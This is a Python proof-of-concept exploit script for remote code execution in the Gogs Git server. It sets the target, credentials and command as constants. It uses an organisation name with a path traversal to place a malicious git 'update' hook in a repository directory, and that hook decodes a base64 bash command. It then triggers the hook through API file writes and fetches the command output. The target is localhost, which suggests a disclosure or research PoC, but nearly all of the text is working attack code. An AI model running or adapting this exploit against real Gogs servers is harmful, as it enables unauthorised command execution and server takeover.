gogs-rce.py

from __future__ import annotations

import base64
import os
import re
import subprocess
import tempfile
import uuid
from pathlib import Path
from urllib.parse import quote, urlsplit, urlunsplit
from base64 import b64encode

import requests

GOGS_BASE = "http://localhost:3000"
USERNAME = "attacker"
PASSWORD = "attacker"
COMMAND = "id"

REPO_NAME = f"rce-{uuid.uuid4().hex[:8]}"
WRITER_REPO_NAME = f"writer-{uuid.uuid4().hex[:8]}"
ORG_NAME = "nested"
CMD_OUTPUT = "pwned"
HOOK_BODY = f"echo '{b64encode(COMMAND.encode()).decode()}' | base64 -d | bash > {CMD_OUTPUT}\n"

s = requests.Session()


def e(part: str) -> str:
    return quote(part, safe="")


def _writer_repo_local_r_id() -> int:
    """Return writer repository JSON ``id`` (same as ``local-r/<n>/`` on disk)."""
    repo_path = f"{USERNAME}/{WRITER_REPO_NAME}"
    url = f"{GOGS_BASE}/api/v1/repos/{repo_path}"
    r = s.get(url)
    r.raise_for_status()
    data = r.json()
    rid = data.get("id")
    if rid is None:
        raise SystemExit("GET writer repo: missing id in JSON")
    return int(rid)


def _csrf_from_meta(html: str) -> str:
    m = re.search(r'<meta name="_csrf" content="([^"]+)"', html)
    if not m:
        raise SystemExit("missing _csrf meta in HTML")
    return m.group(1)


def _web_login() -> None:
    login_url = f"{GOGS_BASE}/user/login"
    r = s.get(login_url)
    r.raise_for_status()
    csrf = _csrf_from_meta(r.text)
    r = s.post(
        login_url,
        data={
            "_csrf": csrf,
            "user_name": USERNAME,
            "password": PASSWORD,
            "login_source": "0",
        },
    )
    r.raise_for_status()


def add_file_via_web_editor(
    username: str,
    repo_name: str,
    path: str,
    content: str,
    *,
    branch: str = "master",
) -> None:
    """Create a new file via the web editor (uses global `s` and `USERNAME` for login)."""
    saved_auth = s.headers.pop("Authorization", None)
    try:
        _web_login()
        base_path = f"{username}/{repo_name}/_new/{branch}"
        new_url = f"{GOGS_BASE}/{base_path}/"
        r = s.get(new_url)
        r.raise_for_status()
        page = r.text
        csrf = _csrf_from_meta(page)
        m = re.search(r'name="last_commit"\s+value="([^"]+)"', page)
        if not m:
            raise SystemExit("missing last_commit on new-file page")
        last_commit = m.group(1)
        r = s.post(
            new_url,
            data={
                "_csrf": csrf,
                "last_commit": last_commit,
                "tree_path": path,
                "content": content,
                "commit_summary": "",
                "commit_message": "",
                "commit_choice": "direct",
                "new_branch_name": "",
            },
        )
        r.raise_for_status()
    finally:
        if saved_auth is not None:
            s.headers["Authorization"] = saved_auth


def _authed_git_clone_url() -> str:
    p = urlsplit(GOGS_BASE)
    base_path = p.path.rstrip("/")
    repo_path = f"{base_path}/{USERNAME}/{WRITER_REPO_NAME}.git"
    netloc = f"{USERNAME}:{PASSWORD}@{p.netloc}"
    return urlunsplit((p.scheme, netloc, repo_path, "", ""))


def _git_run(
    args: list[str],
    *,
    cwd: str | None = None,
    env: dict[str, str] | None = None,
) -> None:
    merged = os.environ.copy()
    merged.setdefault("GIT_TERMINAL_PROMPT", "0")
    if env:
        merged.update(env)
    subprocess.run(args, check=True, cwd=cwd, env=merged)


def _write_hook_in_clone(clone_dir: str, hook_rel_path: Path) -> None:
    root = Path(clone_dir)
    hook = root / hook_rel_path
    hook.parent.mkdir(parents=True, exist_ok=True)
    hook.write_text(HOOK_BODY, encoding="utf-8")
    hook.chmod(0o755)
    _git_run(["git", "add", "-A"], cwd=clone_dir)
    _git_run(
        ["git", "commit", "-m", f"poc: {ORG_NAME}/{REPO_NAME}.git hook path"],
        cwd=clone_dir,
    )


def _put_file_contents_api(
    owner: str,
    reponame: str,
    file_path: str,
    text: str,
    message: str,
) -> None:
    rel = quote(file_path, safe="/")
    url = f"{GOGS_BASE}/api/v1/repos/{e(owner)}/{reponame}/contents/{rel}"
    r = s.put(
        url,
        json={
            "message": message,
            "content": base64.standard_b64encode(text.encode()).decode(),
            "branch": "master",
        },
    )
    r.raise_for_status()


def _fetch_pwned_raw() -> None:
    """GET symlink path under writer repo as raw file (plain text body)."""
    base = GOGS_BASE.rstrip("/")
    url = f"{base}/{USERNAME}/{WRITER_REPO_NAME}/raw/master/{ORG_NAME}/{REPO_NAME}.git/{CMD_OUTPUT}"
    r = s.get(url)
    print("step 15 GET raw pwned", r.status_code, url)
    r.raise_for_status()
    print("\n=== COMMAND OUTPUT ===")
    print(r.text)


def _apply_api_token() -> None:
    """Mint an API token and set ``Authorization`` on the global session (only)."""
    name = f"poc-traversal-{uuid.uuid4().hex[:12]}"
    tok = s.post(
        f"{GOGS_BASE}/api/v1/users/{USERNAME}/tokens",
        auth=(USERNAME, PASSWORD),
        json={"name": name},
    )
    tok.raise_for_status()
    sha1 = tok.json().get("sha1")
    if not sha1:
        raise SystemExit("token response missing sha1")
    s.headers["Authorization"] = f"token {sha1}"


def main() -> None:
    _apply_api_token()
    print("step 1 token ok")

    create_writer = s.post(
        f"{GOGS_BASE}/api/v1/user/repos",
        json={
            "name": WRITER_REPO_NAME,
            "description": "personal writer repo for poc",
            "private": False,
            "auto_init": True,
            "readme": "Default",
        },
    )
    create_writer.raise_for_status()
    cw = create_writer.json()
    print(
        "step 2 create personal repo",
        create_writer.status_code,
        "full_name",
        cw.get("full_name"),
    )

    add_file_via_web_editor(USERNAME, WRITER_REPO_NAME, "dummy", "dummy")
    print("step 3 web editor new file on", USERNAME, "/", WRITER_REPO_NAME)

    n = _writer_repo_local_r_id()
    print("step 4 GET writer repo -> local-r", n)

    traversal_tmp_prefix = f"../../../../data/gogs/data/tmp/local-r/{n}/"
    org_name = traversal_tmp_prefix + ORG_NAME
    create_org = s.post(
        f"{GOGS_BASE}/api/v1/user/orgs",
        json={
            "username": org_name,
            "full_name": "deep",
        },
    )
    create_org.raise_for_status()
    org_body = create_org.json()
    print(
        "step 5 create org",
        create_org.status_code,
        "local-r",
        n,
        "username",
        org_body.get("username"),
    )

    get_org = s.get(f"{GOGS_BASE}/api/v1/orgs/{e(org_name)}")
    get_org.raise_for_status()
    go = get_org.json()
    print("step 6 get org", get_org.status_code,
          "username", go.get("username"))

    create_repo = s.post(
        f"{GOGS_BASE}/api/v1/org/{e(org_name)}/repos",
        json={
            "name": REPO_NAME,
            "description": "poc",
            "private": False,
            "auto_init": True,
            "readme": "Default",
        },
    )
    create_repo.raise_for_status()
    cr = create_repo.json()
    print(
        "step 7 create repo",
        create_repo.status_code,
        "full_name",
        cr.get("full_name"),
        "html_url",
        cr.get("html_url"),
        "clone_url",
        cr.get("clone_url"),
    )

    get_repo = s.get(f"{GOGS_BASE}/api/v1/repos/{e(org_name)}/{REPO_NAME}")
    get_repo.raise_for_status()
    gr = get_repo.json()
    owner = gr.get("owner") or {}
    print(
        "step 8 get repo",
        get_repo.status_code,
        "owner.username",
        owner.get("username"),
        "full_name",
        gr.get("full_name"),
        "empty",
        gr.get("empty"),
    )

    hook_rel_path = Path(ORG_NAME) / f"{REPO_NAME}.git" / "hooks" / "update"

    clone_dir = tempfile.mkdtemp(prefix="poc-writer-")
    _git_run(["git", "clone", _authed_git_clone_url(), clone_dir])
    print("step 9 clone writer repo ->", clone_dir)

    _git_run(
        ["git", "config", "user.email", "poc@local.invalid"],
        cwd=clone_dir,
    )
    _git_run(
        ["git", "config", "user.name", "poc"],
        cwd=clone_dir,
    )
    _write_hook_in_clone(clone_dir, hook_rel_path)
    print(
        "step 10 write",
        hook_rel_path,
        "with",
        HOOK_BODY.strip(),
    )

    _git_run(["git", "push", "origin", "master"], cwd=clone_dir)
    print("step 11 push writer")

    # Update writer repo's local contents to cause `hooks/update` to be stored
    _put_file_contents_api(
        USERNAME,
        WRITER_REPO_NAME,
        "api_dummy_2.txt",
        "second dummy via API.\n",
        "poc: add 2nd file via API",
    )
    print("step 12 API new file on", USERNAME, "/", WRITER_REPO_NAME)
    # Interact with org repo to trigger the hook
    _put_file_contents_api(
        org_name,
        REPO_NAME,
        "org_dummy.txt",
        "dummy in traversal org repo.\n",
        "poc: org rce API file",
    )
    print("step 13 API new file on org", org_name, "/", REPO_NAME)
    # Update writer repo to read the written file
    _put_file_contents_api(
        USERNAME,
        WRITER_REPO_NAME,
        "api_dummy_3.txt",
        "third dummy via API (before pwned read).\n",
        "poc: add 3rd file on writer before read",
    )
    print("step 14 API new file on", USERNAME, "/", WRITER_REPO_NAME)

    _fetch_pwned_raw()


if __name__ == "__main__":
    main()